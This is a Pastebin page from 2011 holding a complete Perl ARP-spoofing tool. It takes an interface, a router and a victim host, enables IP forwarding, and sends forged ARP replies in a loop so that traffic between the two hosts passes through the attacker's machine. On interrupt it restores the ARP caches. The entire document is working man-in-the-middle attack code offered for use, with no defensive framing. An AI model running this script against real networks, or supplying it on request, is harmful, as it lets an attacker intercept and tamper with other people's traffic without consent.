SHARE
TWEET

Perl ARP-Spoofer v0.2

a guest Jun 14th, 2011 187 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/perl
  2.  
  3. # Author: localh0t
  4. # Date: 04/01/2011
  5. # Contact: mattdch0@gmail.com
  6. # Follow: @mattdch
  7.  
  8. # Net::ARP & Net::Ping required
  9. use Net::ARP;
  10. use Net::Ping;
  11.  
  12. # Root required
  13.  
  14. if ($< != 0)
  15. {
  16.         print "\n[!] Run it as root\n\n";
  17.         exit(0);
  18. }
  19.  
  20. # Help
  21.  
  22. if(!$ARGV[2])
  23.         {
  24.                  print "\n#####################################";
  25.                  print "\n# Perl ARP-Spoofer v0.2 by localh0t #";
  26.                  print "\n#####################################";
  27.                  print "\n\nUse: perl $0 [INTERFACE] [HOST 1 (Router)] [HOST 2 (Victim)]\n\n";
  28.                  exit(0);
  29.         }
  30.  
  31. # End function
  32.  
  33. sub finaliza
  34.         {
  35.                 print "\n\n[!] Restoring remote hosts ARP cache\n";
  36.                 # 2 packets per host to ensure the restoration
  37.                 print "\n[+] $host1 is-at $mac1 (to $host2)";
  38.                 Net::ARP::send_packet($dev, $host1, $host2, $mac1, $mac2, 'reply');
  39.                 Net::ARP::send_packet($dev, $host1, $host2, $mac1, $mac2, 'reply');
  40.                 print "\n[+] $host2 is-at $mac2 (to $host1)";
  41.                 Net::ARP::send_packet($dev, $host2, $host1, $mac2, $mac1, 'reply');
  42.                 Net::ARP::send_packet($dev, $host2, $host1, $mac2, $mac1, 'reply');
  43.  
  44.                 print "\n\n[!] Disabling forwarding...";
  45.  
  46.                 open(FORWD,">"."/proc/sys/net/ipv4/ip_forward") || die "\n[-] Error opening ip_forward";
  47.                 print FORWD "0";
  48.                 close(FORWD);
  49.  
  50.                 system("iptables -P FORWARD DROP");
  51.  
  52.                 print "\n[!] Exiting...\n\n";
  53.                 exit(0);
  54.         }
  55.  
  56. ($dev, $host1, $host2) = @ARGV;
  57.  
  58. # Main
  59.  
  60. print "\n[+] Perl ARP-Spoofer v0.2 starting [+]\n";
  61.  
  62. $lmac = Net::ARP::get_mac($dev);
  63.  
  64. print "\n[!] Local MAC : $lmac";
  65.  
  66. my $ping = Net::Ping->new('icmp');
  67.    $ping->ping($host1, 2);
  68.    $ping->ping($host2, 2);
  69.  
  70. $mac1 = Net::ARP::arp_lookup($dev,$host1);
  71. $mac2 = Net::ARP::arp_lookup($dev,$host2);
  72.  
  73. print "\n[!] MAC Host 1: $mac1";
  74. print "\n[!] MAC Host 2: $mac2";
  75.  
  76. print "\n\n[!] Enabling forwarding...";
  77.  
  78. open(FORWD,">"."/proc/sys/net/ipv4/ip_forward") || die "\n[-] Error opening ip_forward";
  79. print FORWD "1";
  80. close(FORWD);
  81.  
  82. system("iptables -P FORWARD ACCEPT");
  83.  
  84. print "\n\n[!] Starting ARP-Spoofing between $host1 & $host2, Ctrl-C to end...\n";
  85.  
  86. # (While not Crtl-C)
  87.  
  88. while(1)
  89. {
  90.         $SIG{INT} = \&finaliza;
  91.         sleep(1);
  92.         print "\n[+] $host1 is-at $lmac (to $host2)";
  93.         Net::ARP::send_packet($dev, $host1, $host2, $lmac, $mac2, 'reply');
  94.         print "\n[+] $host2 is-at $lmac (to $host1)";
  95.         Net::ARP::send_packet($dev, $host2, $host1, $lmac, $mac1, 'reply');
  96. }
  97.  
  98. __END__
RAW Paste Data
Pastebin PRO Summer Special!
Get 40% OFF on Pastebin PRO accounts!
Top